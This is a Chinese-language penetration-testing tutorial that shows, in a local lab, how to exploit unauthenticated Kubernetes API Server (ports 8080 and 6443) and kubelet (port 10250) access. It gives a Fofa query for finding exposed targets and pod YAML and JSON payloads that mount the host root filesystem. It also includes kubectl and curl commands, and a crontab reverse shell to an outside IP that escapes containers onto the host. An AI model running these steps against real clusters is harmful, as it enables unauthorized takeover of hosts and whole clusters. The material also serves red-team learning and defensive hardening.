前言
随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
- 通过虚拟机攻击云管理平台,利用管理平台控制所有机器
- 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
- 利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
K8S集群架构解释
通俗来说,Kubernetes 是一个开源平台,用于管理多台主机上的 Docker 容器。它提供了自动化部署、伸缩和操作容器化应用的功能,使得管理大规模的容器集群变得更加高效和便捷。
常见的kubernetes集群结果如下图所示
K8S集群架构解释
通俗来说,Kubernetes 是一个开源平台,用于管理多台主机上的 Docker 容器。它提供了自动化部署、伸缩和操作容器化应用的功能,使得管理大规模的容器集群变得更加高效和便捷。
常见的kubernetes集群结果如下图所示
K8S集群攻击点
下图为深信服梳理的 K8S 集群架构下可能存在的安全问题
通过各个组件存在隐患的默认端口可大概判断目标主机是否在集群内
组件名称 | 默认端口 |
api server | 8080/6443 |
dashboard | 8001 |
kubelet | 10250/10255 |
etcd | 2379 |
kube-proxy | 8001 |
docker | 2375 |
kube-scheduler | 10251 |
kube-controller-manager | 10252 |
本地搭建环境测试
本次搭建采用centos7搭建集群共三个节点,包含一个主节点,两个工作子节点:
搭建过程可参考我另一篇文章:Centos7 搭建 kubernetes集群
节点 | 角色 | IP | hostname |
Node1 | Master | 192.168.0.25 | master-1 |
Node2 | Woker | 192.168.0.30 | node1 |
Node3 | Woker | 192.168.0.31 | node2 |
演示案例-云原生-K8s安全-API Server 8080端口未授权访问
攻击8080端口:API Server(Master)未授权访问
旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)
新版本k8s默认已经不开启8080。需要更改相应的配置,我这里低版本直接可以访问
修改完配置重启服务器即可访问
systemctl restart kubelet
看见如图示内容变存在未授权
这里我们通过官方管理工具来进一步利用
kubectl官方工具下载地址:安装工具 | Kubernetes
#获取所有容器的node节点
kubectl.exe -s 192.168.0.25:8080 get nodes
#获取所有容器pods节点
kubectl.exe -s 192.168.0.25:8080 get pods
能正常获取便可进行下一步
这个时候我们创建一个yaml文件,通过我们的api server未授权创建一个yaml文件创建一个pods节点
文件名与后面对应上即可我这里叫test.ymal
这里我们着重注意三个点
- name此为我们后创建容器的名称
- image为我们选择的镜像
- mountpath为我们宿主机挂载到容器的位置
apiVersion: v1
kind: Pod
metadata:
name: koube
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
#创建容器
kubectl.exe -s 192.168.0.25:8080 create -f test.yaml
#进入容器shell
kubectl.exe -s 192.168.0.25:8080 --namespace=default exec -it test bash
#写入定时任务反弹shell
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.0.8/4444 0>&1\n" >> /mnt/etc/crontab
这个时候可以看到我们在容器逃逸到了node2真机上,原因皆在我们挂载了mnt目录,如有不理解的同学可以往上看上一篇的帖子补补docker逃逸的知识点
Fofa语法:port=”8080″ && app=”Kubernetes”
演示案例-云原生-K8s安全-API Server 6443端口未授权访问
6443端口是默认开启的
以下便是不存在未授权
一些集群由于鉴权配置不当,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous –clusterrole=cluster-admin –user=system:anonymous
为未经身份验证的用户(匿名用户)授予集群管理员的权限,这意味着任何未通过身份验证访问集群的用户都将拥有对集群进行几乎任何操作的权限。这在某些特定的测试或开发环境中可能有用,但在生产环境中通常是不安全的,所以感觉头上有包的运维才会真这么干,但既然有这个知识点还是复现一下吧
存在未授权的页面
创建恶意pods
接口为地址为:https://192.168.0.25:6443/api/v1/namespaces/default/pods/
向接口发送而已post请求包,意在创建一个名为lili的容器
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"lili\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"lili\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"lili","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.0.25:6443 get pods
##insecure-skip-tls-verify
是 Kubernetes 客户端 kubectl
的一个命令行选项,当与 kubectl
命令一起使用时,它会告诉 kubectl
跳过对 Kubernetes API 服务器证书的验证。
连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.0.25:6443 --namespace=default exec -it lili bash
这里post包构造挂载目录为host,继续执行反弹shell
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.0.8/4444 0>&1\n" >> /host/etc/crontab
成功上线
演示案例-云原生-K8s安全-Kubelet(node)10250端口未授权访问
不存在未授权
利用执行命令这里需要三个参数
namespace:default
pod:test03
container:test03
执行容器命令:
curl -XPOST -k "https://192.168.0.31:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"